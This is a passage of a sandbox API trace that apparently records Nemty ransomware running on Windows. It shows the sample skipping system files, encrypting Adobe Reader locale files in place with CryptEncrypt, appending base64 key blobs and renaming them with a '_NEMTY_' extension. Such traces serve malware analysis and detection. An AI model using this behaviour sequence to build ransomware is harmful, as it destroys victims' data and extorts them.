lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.444] Sleep (dwMilliseconds=0x5) [0183.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20fe6eb0, dwHighDateTime=0x1d561e8)) [0183.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20fe6eb0, dwHighDateTime=0x1d561e8)) [0183.454] GetLastError () returned 0x0 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.454] GetLastError () returned 0x0 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.454] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.454] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.454] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.454] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="emRIq8HMhKJSKVTohBw+arkp1tiexliS/HmAWdb6xzg48NmR/mbjQcwkdyFxZ31k\r\n5nlmY3XJgjOkW/SwgM7l06VNV6XVFJzg/tSI21kTa5DBu8HCzbZi7Hr0PdmRYVuE\r\nUpTtXImoTPYBVjV37BO1YSdrvD2upemYoSastJ6QQxCMnnkR90bDV9fzOlHiqufH\r\n5A6X5btMdLJayqNovyfO0NFGjVR52mS1JnEiQLE6hTJkOa4yYfjlYcFOKHK8Fo2y\r\nKtBlaz6HlBL44YGYZXt+4917pWKrSlXga1Lmre4m9mbGBPC8lvr7Zl+1HaSQjDsg\r\nedcCi4JZ6U6oIRUSu7JsCw==\r\n", pcchString=0x653e5dc) returned 1 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\EScript.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\escript.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.455] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40448) returned 1 [0183.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e00) returned 0x6352c48 [0183.456] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.456] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9e00, lpOverlapped=0x0) returned 1 [0183.460] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.460] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9e00, lpOverlapped=0x0) returned 1 [0183.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.460] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00 [0183.460] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.460] CloseHandle (hObject=0x2e8) returned 1 [0183.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.460] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\EScript.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\escript.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\EScript.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\escript.sky._nemty_kgobjgd_")) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.461] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.SKY", cAlternateFileName="")) returned 1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2=".") returned 1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="..") returned 1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="...") returned 1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="windows") returned -1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="rsa") returned -1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="NTDETECT.COM") returned -1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="ntldr") returned -1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="MSDOS.SYS") returned -1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="IO.SYS") returned -1 [0183.461] lstrcmpiW (lpString1="IA32.SKY", lpString2="boot.ini") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="boot.ini") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="ntuser.dat") returned -1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="desktop.ini") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="CONFIG.SYS") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="RECYCLER") returned -1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="bootmgr") returned 1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="programdata") returned -1 [0183.462] lstrcmpiW (lpString1="IA32.SKY", lpString2="appdata") returned 1 [0183.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SKY", lpUsedDefaultChar=0x0) returned 8 [0183.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SKY", lpUsedDefaultChar=0x0) returned 8 [0183.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SKY", lpUsedDefaultChar=0x0) returned 8 [0183.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SKY", lpUsedDefaultChar=0x0) returned 8 [0183.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.462] Sleep (dwMilliseconds=0x5) [0183.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2100d010, dwHighDateTime=0x1d561e8)) [0183.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2100d010, dwHighDateTime=0x1d561e8)) [0183.470] GetLastError () returned 0x0 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.470] GetLastError () returned 0x0 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.470] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.470] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.470] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.470] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="1R+5VFx8M3E2SGjIgE2/3deTi1MszsKS3F5ziR7b+1s3lIaB79rHCIejV9vkncn1\r\ntkcs2jqkElZ8iuNDni11S+lKtIsL5EUx3At2AGccZ4qPb++7GQFcXQcIbYVQ2OGq\r\njhLEXEoOg4/mWxHDYRcuaE5zKpSZaWDkSlYG8Ijx+2rDPcVAKw1QSTJjDCS20OM7\r\nVsU900dNiTN+2z0L+IQI/00yhVTNyhNrucUfPWuZ5uFucBPHxtV/++/VMHZlgXNN\r\nMVg8gdqxExYd68vuta4+qqqgO+9D6icBt80Ilk1jcni7aTsk94ESCTJaoXfPjvOm\r\n8F+PmHm0/EBDCv7aXxVWfA==\r\n", pcchString=0x653e5dc) returned 1 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\IA32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ia32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.471] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0183.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0183.471] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.471] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0183.473] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.473] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0183.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.473] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0183.473] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.473] CloseHandle (hObject=0x2e8) returned 1 [0183.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.473] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\IA32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ia32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\IA32.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ia32.sky._nemty_kgobjgd_")) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.474] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.SKY", cAlternateFileName="MAKEAC~1.SKY")) returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2=".") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="..") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="...") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="windows") returned -1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="rsa") returned -1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="NTDETECT.COM") returned -1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="ntldr") returned -1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="MSDOS.SYS") returned -1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="IO.SYS") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="boot.ini") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="boot.ini") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="ntuser.dat") returned -1 [0183.474] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="desktop.ini") returned 1 [0183.474] lstrcmpiW 